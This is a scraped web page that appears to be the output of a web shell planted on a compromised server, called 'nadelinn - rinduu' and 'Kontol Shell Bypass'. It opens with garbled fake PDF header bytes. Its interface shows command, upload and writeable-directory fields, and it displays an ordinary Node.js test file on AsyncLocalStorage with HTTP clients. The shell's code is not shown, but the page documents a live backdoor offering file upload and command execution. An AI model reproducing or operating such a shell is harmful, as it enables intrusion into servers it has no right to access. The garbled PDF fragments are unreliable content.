%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ubuntu/node-v16.18.1/test/parallel/test-async-local-storage-http-multiclients.js
'use strict';
const common = require('../common');
const Countdown = require('../common/countdown');
const assert = require('assert');
const { AsyncLocalStorage } = require('async_hooks');
const http = require('http');
const cls = new AsyncLocalStorage();
const NUM_CLIENTS = 10;

// Run multiple clients that receive data from a server
// in multiple chunks, in a single non-closure function.
// Use the AsyncLocalStorage (ALS) APIs to maintain the context
// and data download. Make sure that individual clients
// receive their respective data, with no conflicts.

// Set up a server that sends large buffers of data, filled
// with cardinal numbers, increasing per request
let index = 0;
const server = http.createServer((q, r) => {
  // Send a large chunk as response, otherwise the data
  // may be sent in a single chunk, and the callback in the
  // client may be called only once, defeating the purpose of test
  r.end((index++ % 10).toString().repeat(1024 * 1024));
});

const countdown = new Countdown(NUM_CLIENTS, () => {
  server.close();
});

server.listen(0, common.mustCall(() => {
  for (let i = 0; i < NUM_CLIENTS; i++) {
    cls.run(new Map(), common.mustCall(() => {
      const options = { port: server.address().port };
      const req = http.get(options, common.mustCall((res) => {
        const store = cls.getStore();
        store.set('data', '');

        // Make ondata and onend non-closure
        // functions and fully dependent on ALS
        res.setEncoding('utf8');
        res.on('data', ondata);
        res.on('end', common.mustCall(onend));
      }));
      req.end();
    }));
  }
}));

// Accumulate the current data chunk with the store data
function ondata(d) {
  const store = cls.getStore();
  assert.notStrictEqual(store, undefined);
  let chunk = store.get('data');
  chunk += d;
  store.set('data', chunk);
}

// Retrieve the store data, and test for homogeneity
function onend() {
  const store = cls.getStore();
  assert.notStrictEqual(store, undefined);
  const data = store.get('data');
  assert.strictEqual(data, data[0].repeat(data.length));
  countdown.dec();
}

Kontol Shell Bypass